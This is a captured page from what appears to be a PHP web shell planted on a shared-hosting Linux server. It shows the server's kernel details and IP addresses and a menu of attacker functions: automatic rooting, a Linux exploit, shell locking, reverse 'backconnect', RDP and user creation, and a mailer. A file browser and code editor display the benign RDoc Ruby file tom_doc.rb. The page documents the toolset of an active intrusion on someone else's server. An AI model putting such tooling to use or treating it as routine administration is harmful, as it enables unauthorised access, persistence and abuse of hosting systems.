Linux server123.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 198.54.126.127 | : 216.73.216.140
Cant Read [ /etc/named.conf ]
?8.4.14
ezdajrnh
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby20 /
lib64 /
ruby /
2.0.0 /
rdoc /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
context
[ DIR ]
drwxr-xr-x
?;
generator
[ DIR ]
drwxr-xr-x
?;
markdown
[ DIR ]
drwxr-xr-x
?;
markup
[ DIR ]
drwxr-xr-x
?;
parser
[ DIR ]
drwxr-xr-x
?;
rd
[ DIR ]
drwxr-xr-x
?;
ri
[ DIR ]
drwxr-xr-x
?;
stats
[ DIR ]
drwxr-xr-x
alias.rb
2.09
KB
-rw-r--r--
anon_class.rb
142
B
-rw-r--r--
any_method.rb
5.9
KB
-rw-r--r--
attr.rb
3.73
KB
-rw-r--r--
class_module.rb
19.15
KB
-rw-r--r--
code_object.rb
7.71
KB
-rw-r--r--
code_objects.rb
121
B
-rw-r--r--
comment.rb
5.39
KB
-rw-r--r--
constant.rb
3.34
KB
-rw-r--r--
context.rb
28.26
KB
-rw-r--r--
cross_reference.rb
5.81
KB
-rw-r--r--
encoding.rb
2.74
KB
-rw-r--r--
erb_partial.rb
370
B
-rw-r--r--
erbio.rb
794
B
-rw-r--r--
extend.rb
2.53
KB
-rw-r--r--
generator.rb
1.72
KB
-rw-r--r--
ghost_method.rb
114
B
-rw-r--r--
include.rb
2.61
KB
-rw-r--r--
known_classes.rb
2.58
KB
-rw-r--r--
markdown.rb
380.09
KB
-rw-r--r--
markup.rb
28.31
KB
-rw-r--r--
meta_method.rb
99
B
-rw-r--r--
method_attr.rb
8.57
KB
-rw-r--r--
normal_class.rb
2.06
KB
-rw-r--r--
normal_module.rb
1.36
KB
-rw-r--r--
options.rb
28.49
KB
-rw-r--r--
parser.rb
7.83
KB
-rw-r--r--
rd.rb
3.54
KB
-rw-r--r--
rdoc.rb
13.25
KB
-rw-r--r--
require.rb
935
B
-rw-r--r--
ri.rb
315
B
-rw-r--r--
ruby_lex.rb
27.23
KB
-rw-r--r--
ruby_token.rb
11.21
KB
-rw-r--r--
rubygems_hook.rb
4.91
KB
-rw-r--r--
servlet.rb
10.83
KB
-rw-r--r--
single_class.rb
330
B
-rw-r--r--
stats.rb
9.78
KB
-rw-r--r--
store.rb
22.32
KB
-rw-r--r--
task.rb
7.66
KB
-rw-r--r--
test_case.rb
3.46
KB
-rw-r--r--
text.rb
7.59
KB
-rw-r--r--
token_stream.rb
2.46
KB
-rw-r--r--
tom_doc.rb
5.7
KB
-rw-r--r--
top_level.rb
5.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tom_doc.rb
# :markup: tomdoc # A parser for TomDoc based on TomDoc 1.0.0-rc1 (02adef9b5a) # # The TomDoc specification can be found at: # # http://tomdoc.org # # The latest version of the TomDoc specification can be found at: # # https://github.com/mojombo/tomdoc/blob/master/tomdoc.md # # To choose TomDoc as your only default format see RDoc::Options@Saved+Options # for instructions on setting up a <code>.rdoc_options</code> file to store # your project default. # # There are a few differences between this parser and the specification. A # best-effort was made to follow the specification as closely as possible but # some choices to deviate were made. # # A future version of RDoc will warn when a MUST or MUST NOT is violated and # may warn when a SHOULD or SHOULD NOT is violated. RDoc will always try # to emit documentation even if given invalid TomDoc. # # Here are some implementation choices this parser currently makes: # # This parser allows rdoc-style inline markup but you should not depended on # it. # # This parser allows a space between the comment and the method body. # # This parser does not require the default value to be described for an # optional argument. # # This parser does not examine the order of sections. An Examples section may # precede the Arguments section. # # This class is documented in TomDoc format. Since this is a subclass of the # RDoc markup parser there isn't much to see here, unfortunately. class RDoc::TomDoc < RDoc::Markup::Parser # Internal: Token accessor attr_reader :tokens # Internal: Adds a post-processor which sets the RDoc section based on the # comment's status. # # Returns nothing. def self.add_post_processor # :nodoc: RDoc::Markup::PreProcess.post_process do |comment, code_object| next unless code_object and RDoc::Comment === comment and comment.format == 'tomdoc' comment.text.gsub!(/(\A\s*# )(Public|Internal|Deprecated):\s+/) do section = code_object.add_section $2 code_object.temporary_section = section $1 end end end add_post_processor # Public: Parses TomDoc from text # # text - A String containing TomDoc-format text. # # Examples # # RDoc::TomDoc.parse <<-TOMDOC # This method does some things # # Returns nothing. # TOMDOC # # => #<RDoc::Markup::Document:0xXXX @parts=[...], @file=nil> # # Returns an RDoc::Markup::Document representing the TomDoc format. def self.parse text parser = new parser.tokenize text doc = RDoc::Markup::Document.new parser.parse doc doc end # Internal: Extracts the Signature section's method signature # # comment - An RDoc::Comment that will be parsed and have the signature # extracted # # Returns a String containing the signature and nil if not def self.signature comment return unless comment.tomdoc? document = comment.parse signature = nil found_heading = false found_signature = false document.parts.delete_if do |part| next false if found_signature found_heading ||= RDoc::Markup::Heading === part && part.text == 'Signature' next false unless found_heading next true if RDoc::Markup::BlankLine === part if RDoc::Markup::Verbatim === part then signature = part found_signature = true end end signature and signature.text end # Public: Creates a new TomDoc parser. See also RDoc::Markup::parse def initialize super @section = nil end # Internal: Builds a heading from the token stream # # level - The level of heading to create # # Returns an RDoc::Markup::Heading def build_heading level heading = super @section = heading.text heading end # Internal: Builds a verbatim from the token stream. A verbatim in the # Examples section will be marked as in ruby format. # # margin - The indentation from the margin for lines that belong to this # verbatim section. # # Returns an RDoc::Markup::Verbatim def build_verbatim margin verbatim = super verbatim.format = :ruby if @section == 'Examples' verbatim end # Internal: Builds a paragraph from the token stream # # margin - Unused # # Returns an RDoc::Markup::Paragraph. def build_paragraph margin p :paragraph_start => margin if @debug paragraph = RDoc::Markup::Paragraph.new until @tokens.empty? do type, data, = get if type == :TEXT then paragraph << data skip :NEWLINE else unget break end end p :paragraph_end => margin if @debug paragraph end # Internal: Turns text into an Array of tokens # # text - A String containing TomDoc-format text. # # Returns self. def tokenize text text.sub!(/\A(Public|Internal|Deprecated):\s+/, '') setup_scanner text until @s.eos? do pos = @s.pos # leading spaces will be reflected by the column of the next token # the only thing we loose are trailing spaces at the end of the file next if @s.scan(/ +/) @tokens << case when @s.scan(/\r?\n/) then token = [:NEWLINE, @s.matched, *token_pos(pos)] @line_pos = char_pos @s.pos @line += 1 token when @s.scan(/(Examples|Signature)$/) then @tokens << [:HEADER, 3, *token_pos(pos)] [:TEXT, @s[1], *token_pos(pos)] when @s.scan(/([:\w][\w\[\]]*)[ ]+- /) then [:NOTE, @s[1], *token_pos(pos)] else @s.scan(/.*/) [:TEXT, @s.matched.sub(/\r$/, ''), *token_pos(pos)] end end self end end
Close